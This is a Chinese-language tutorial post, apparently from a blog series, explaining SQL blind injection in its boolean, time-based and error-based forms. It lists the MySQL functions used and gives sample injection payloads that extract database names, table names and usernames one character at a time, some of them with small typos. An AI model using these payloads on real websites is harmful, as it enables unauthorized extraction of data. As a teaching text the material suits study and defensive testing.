30. 注入篇——盲注

SQL盲注

盲注是SQL注入的一种,之所以称为盲注是因为他不会根据攻击者的SQL注入语句返回攻击者想要获取的错误信息。

SQL盲注分类

(1)布尔盲注:布尔很明显有True和Flase,也就是说它会根据攻击者的注入信息返回True或者False,也就没有了之前的报错信息。

(2)时间盲注:界面返回值只有一种True,无论输入任何值,返回情况都会按照正常来处理。加入特定的时间函数,通过查看WEB页面的返回时间差来判断注入的语句是否正确。

(3)报错盲注:根据返回的显示错误信息构造SQL语句来进行的注入,称为报错盲注。

盲注中用到的函数

Length()                  函数 返回字符串的长度
Substr()                  截取字符串
Ascii()                   返回字符的ascii码
sleep(n)                   将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3)      判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

基于布尔SQL盲注————构造逻辑判断

相关函数:

(1)left(a,b)

left(database(),1) >'s'     

函数说明:

database()显示数据库名称,left(a,b)从左侧截取a的前b位

(2)Substr()

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ 

函数说明:

substr(a,b,c)从b位置开始,截取字符串a的c长度。 
Ascii()将某个字符转换为ascii值
(3)ord()、mid()         
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23  

函数说明:

mid(a,b,c)从位置b开始,截取a字符串的c位

Ord()函数同ascii(),将字符转为ascii值

(4)regexp()正则注入

用法介绍:

select user() regexp '^[a-z]';

函数说明:

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

匹配第二位:

select user() regexp '^ro'

当正确的时候显示结果为1,不正确的时候显示结果为0.

(5)Like匹配注入

和正则注入类似,mysql在匹配的时候可以使用like进行匹配

select user() like 'ro%'

基于报错的SQL盲注

构造payload让信息通过错误提示回显出来

相关函数:

floor()、extravtvalue()、updatexml()

详情见本系列第20、21、22篇文章

基于时间的SQL盲注——延时注入

相关函数:

(1)if语句+sleep()函数

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 

说明:if判断语句,条件为假时,执行sleep

(2)benchmark()函数

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

说明:benchmark(count,expr)用于测试函数的性能,参数一为次数,参数而为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的CPU资源,所以平时推荐使用sleep()函数。

至于具体事例,可以参加本系列23讲!




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值